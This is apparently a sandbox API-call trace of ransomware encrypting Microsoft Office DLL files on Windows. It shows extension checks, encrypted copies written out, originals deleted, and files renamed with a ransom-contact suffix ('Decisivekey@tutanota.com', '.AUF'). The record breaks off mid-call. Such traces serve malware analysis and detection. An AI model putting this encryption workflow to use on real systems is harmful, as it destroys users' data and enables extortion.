[0219.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.239] lstrlenW (lpString=".doc") returned 4 [0219.239] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.239] lstrlenW (lpString=".docx") returned 5 [0219.239] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0219.239] lstrlenW (lpString=".pdf") returned 4 [0219.239] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.239] lstrlenW (lpString=".xls") returned 4 [0219.239] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.239] lstrlenW (lpString=".xlsx") returned 5 [0219.239] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0219.239] lstrlenW (lpString=".ppt") returned 4 [0219.239] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.239] lstrlenW (lpString=".zip") returned 4 [0219.239] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.239] lstrlenW (lpString=".rar") returned 4 [0219.239] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.239] lstrlenW (lpString=".bz2") returned 4 [0219.239] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.239] lstrlenW (lpString=".7z") returned 3 [0219.239] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.239] lstrlenW (lpString=".dbf") returned 4 [0219.239] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.239] lstrlenW (lpString=".1cd") returned 4 [0219.239] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.240] lstrlenW (lpString=".jpg") returned 4 [0219.240] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.240] lstrlenW (lpString=".doc") returned 4 [0219.240] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.240] lstrlenW (lpString=".docx") returned 5 [0219.240] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0219.240] lstrlenW (lpString=".pdf") returned 4 [0219.240] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.240] lstrlenW (lpString=".xls") returned 4 [0219.240] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.240] lstrlenW (lpString=".xlsx") returned 5 [0219.240] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0219.240] lstrlenW (lpString=".ppt") returned 4 [0219.240] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.240] lstrlenW (lpString=".zip") returned 4 [0219.240] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.240] lstrlenW (lpString=".rar") returned 4 [0219.240] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.240] lstrlenW (lpString=".bz2") returned 4 [0219.240] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.240] lstrlenW (lpString=".7z") returned 3 [0219.240] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.240] lstrlenW (lpString=".dbf") returned 4 [0219.240] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.240] lstrlenW (lpString=".1cd") returned 4 [0219.240] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0219.240] lstrlenW (lpString=".jpg") returned 4 [0219.240] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.240] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.240] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0219.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0219.308] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=41864) returned 1 [0219.308] CloseHandle (hObject=0x16c) returned 1 [0219.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0219.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0219.329] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.329] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0219.329] GetLastError () returned 0x0 [0219.329] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xa388, lpOverlapped=0x0) returned 1 [0219.372] WriteFile (in: hFile=0x224, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0219.373] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.373] WriteFile (in: hFile=0x224, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.373] SetEndOfFile (hFile=0x224) returned 1 [0219.373] CloseHandle (hObject=0x224) returned 1 [0219.373] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.373] SetEndOfFile (hFile=0x16c) returned 1 [0219.374] CloseHandle (hObject=0x16c) returned 1 [0219.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.374] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 1 [0219.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.374] lstrlenW (lpString=".doc") returned 4 [0219.374] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.374] lstrlenW (lpString=".docx") returned 5 [0219.374] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0219.374] lstrlenW (lpString=".pdf") returned 4 [0219.374] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.374] lstrlenW (lpString=".xls") returned 4 [0219.374] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString=".xlsx") returned 5 [0219.375] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0219.375] lstrlenW (lpString=".ppt") returned 4 [0219.375] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString=".zip") returned 4 [0219.375] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString=".rar") returned 4 [0219.375] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString=".bz2") returned 4 [0219.375] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.375] lstrlenW (lpString=".7z") returned 3 [0219.375] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString=".dbf") returned 4 [0219.375] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString=".1cd") returned 4 [0219.375] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString=".jpg") returned 4 [0219.375] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString=".doc") returned 4 [0219.375] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString=".docx") returned 5 [0219.375] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0219.375] lstrlenW (lpString=".pdf") returned 4 [0219.375] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString=".xls") returned 4 [0219.375] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString=".xlsx") returned 5 [0219.375] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0219.375] lstrlenW (lpString=".ppt") returned 4 [0219.375] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString=".zip") returned 4 [0219.375] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString=".rar") returned 4 [0219.375] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.375] lstrlenW (lpString=".bz2") returned 4 [0219.375] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.375] lstrlenW (lpString=".7z") returned 3 [0219.375] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString=".dbf") returned 4 [0219.375] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.375] lstrlenW (lpString=".1cd") returned 4 [0219.375] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.376] lstrlenW (lpString=".jpg") returned 4 [0219.376] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.376] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.376] lstrlenW (lpString="ACECORE.DLL") returned 11 [0219.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0219.424] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=3213192) returned 1 [0219.424] CloseHandle (hObject=0x208) returned 1 [0219.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0219.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0219.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0219.425] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0219.425] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0219.425] ReadFile (in: hFile=0x208, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.722] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0219.722] ReadFile (in: hFile=0x208, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.798] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0219.798] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0219.798] ReadFile (in: hFile=0x208, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.900] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.900] WriteFile (in: hFile=0x208, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0219.909] SetEndOfFile (hFile=0x208) returned 1 [0219.909] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.909] WriteFile (in: hFile=0x208, lpBuffer=0x40c9008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40c9008*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.910] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.910] WriteFile (in: hFile=0x208, lpBuffer=0x40c9008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40c9008*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.913] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.913] WriteFile (in: hFile=0x208, lpBuffer=0x40c9008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40c9008*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.989] CloseHandle (hObject=0x208) returned 1 [0220.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.043] lstrlenW (lpString=".doc") returned 4 [0220.043] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString=".docx") returned 5 [0220.043] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0220.043] lstrlenW (lpString=".pdf") returned 4 [0220.043] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString=".xls") returned 4 [0220.043] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString=".xlsx") returned 5 [0220.043] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0220.043] lstrlenW (lpString=".ppt") returned 4 [0220.043] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.043] lstrlenW (lpString=".zip") returned 4 [0220.043] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString=".rar") returned 4 [0220.043] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString=".bz2") returned 4 [0220.043] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.043] lstrlenW (lpString=".7z") returned 3 [0220.043] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.043] lstrlenW (lpString=".dbf") returned 4 [0220.043] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.043] lstrlenW (lpString=".1cd") returned 4 [0220.043] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.043] lstrlenW (lpString=".jpg") returned 4 [0220.043] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.043] lstrlenW (lpString=".doc") returned 4 [0220.043] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString=".docx") returned 5 [0220.043] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0220.043] lstrlenW (lpString=".pdf") returned 4 [0220.043] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString=".xls") returned 4 [0220.043] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString=".xlsx") returned 5 [0220.043] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0220.043] lstrlenW (lpString=".ppt") returned 4 [0220.043] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.044] lstrlenW (lpString=".zip") returned 4 [0220.044] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.044] lstrlenW (lpString=".rar") returned 4 [0220.044] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.044] lstrlenW (lpString=".bz2") returned 4 [0220.044] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.044] lstrlenW (lpString=".7z") returned 3 [0220.044] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.044] lstrlenW (lpString=".dbf") returned 4 [0220.044] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.044] lstrlenW (lpString=".1cd") returned 4 [0220.044] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0220.044] lstrlenW (lpString=".jpg") returned 4 [0220.044] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.044] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.044] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0220.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0220.065] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=15800) returned 1 [0220.065] CloseHandle (hObject=0x204) returned 1 [0220.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0220.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0220.065] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.065] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0220.385] GetLastError () returned 0x0 [0220.385] ReadFile (in: hFile=0x204, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0220.395] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0220.396] ReadFile (in: hFile=0x204, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: 